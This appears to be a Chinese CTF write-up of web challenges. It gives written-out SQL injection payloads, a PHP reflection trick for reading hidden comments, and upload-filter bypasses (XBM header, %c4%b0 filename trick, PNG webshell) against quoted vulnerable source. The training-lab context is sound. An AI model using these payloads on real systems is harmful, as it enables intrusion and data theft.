第一次参加这种大型比赛,第一张卷子的web做完了,但是后面的一道也不会0.0,有道middle_source当时由想到session_upload_progress但是没有深入0.0,晚上没有007,身体第一位。
可惜的是还差一两道题就能进省赛了。
手工注入单引号,存在注入点
尝试sqlmap扫描,发现有报错注入和布尔注入(由于之前做的时候没有截图,下面放的是log文件内的内容)
于是开始利用
--dbs
扫出数据库名
继续跟进参数
-D security -tables
爆表名和列名,爆出users和flag表,先爆users列名
-D security -tables users -columns
爆出id,username,password,跟进参数
-D security -T users -C id,username,password -dump
爆出了整张表,但尝试后发现所有账户只会回显login并无flag,转而爆破flag表,
经过一番爆破后发现只有id字段(当然是不可能的),于是手工尝试使用报错注入查询information_schema里的字段
')and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag"))))# &passwd=1&Submit=%E7%99%BB%E5%BD%95
回显为no,尝试大小写绕过,依然是no,既然information_schema不能用了,只能尝试无列名注入了,原理是mysql列名重复会报错,输入payload
uname=')and(select extractvalue(1,concat(0x7e,(select * from(select * from flag a join flag b)d))))# &passwd=1&Submit=%E7%99%BB%E5%BD%
得到第一个字段,使用using
继续获取第二个字段
最终payload
uname=')and(select extractvalue(1,concat(0x7e,(select * from(select * from flag a join flag b using(id,no))d))))# &passwd=1&Submit=%E7%99%BB%E5%BD%
回到sqlmap,输入 -C xxx 即可dump出flag
扫描后台,发现vim备份源码
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd()); var_dump(sys)
题目描述是代码没有显示完全,flag就在这个文件中,但给出的源码只有User一个类,并且看上去和flag无关。
结合题目描述,flag就在文件中并由$rc联想到php反射类,思路自然来了,用反射类的getDocComment()函数看一看注释有没有flag。payload如下:
GET /?rc=ReflectionMethod&ra=User&rb=b&rd=getDocComment
发现没有回显flag,尝试更换ReflectionMethod()的args参数,把类中方法名字均试一遍后,在p方法处,找到flag
更新一波upload,这道题思路比较简单,但还是花了我很长时间
附上源码
index.php
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}
if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];
if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}
绕过:
getimagesize() 抓包在文件末尾加上
#define width 1
#define height 1
stristr($fileName,"i") %c4%b0可以绕过函数检测,然后下面的mb_strtolower()可以将大写I转换为小写i
example.php(扫出来的)
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}
if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];
if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}
echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);//输出到example目录下
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}
}
example.php主要是对解压后的文件进行检验,如果是png就会放在example目录下,否则unlink()。
接下来就可以开始upload了
由于题目没有设置post上传点,于是为了方便,我在本地用phpstudy搭建了一个上传点:
<form action="http://f456bfee-c4f7-4ea0-b885-fc4d6e22b651.node3.buuoj.cn/?ctf=upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="postedFile" id="id"></p>
<p><input type="submit" name="submit" value="submit" ></p>
</form>
用图片马生成工具PNG-IDAT-Payload-Generator-master
输入命令-m php -o aaa.png
然后将其后缀改为php,打包开始上传。
bp抓包修改后缀并绕过getimagesize()
,之后显示上传成功并告诉你路径,然后就访问example.php去解压文件。
最后输入payload
然后find /etc -fl** 就可以找到flag路径并cat出来了